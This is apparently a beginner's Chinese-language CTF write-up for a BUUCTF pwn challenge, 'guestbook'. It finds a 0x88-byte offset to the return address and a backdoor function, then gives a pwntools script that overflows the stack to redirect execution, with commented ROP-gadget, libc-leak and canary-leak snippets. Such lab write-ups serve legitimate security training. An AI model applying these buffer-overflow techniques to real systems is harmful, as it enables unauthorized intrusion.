小白垃圾做题笔记,不及建议阅读。
还好听了师傅的话,每次打之前确定下ida是否判断的正确。
这个的话,输入0x88个字符后,后边就是返回地址。
我在调试的时候并没有发现ebp,我用python生成了0x88个字符后,有手动输入了8个a
发现返回的时候变成了这个:
意思就是0x88个字符后就是返回地址了。
ida中发现有后门函数:
查找字符串后ctrl+x找到函数所在地址。
addr=0x0000000000400620
好将返回地址覆盖成后门函数:
exp:
from pwn import *
debug=0
if debug:
p=process('./guestbook')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('node4.buuoj.cn',26299)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
good_game_addr=0x0000000000400620
ru(b'message:\n')
payload=b'a'*0x88+p64(good_game_addr)
se(payload)
p.interactive()
#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"
#write_add=u32(p.recv(4))
#addr=u32(r.recvuntil('\xf7')[-4:])
#puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#sa(b'wish!\n', b'%11$p')
#rl(b'0x')
#canary = int(p.recv(16), 16)
打印flag: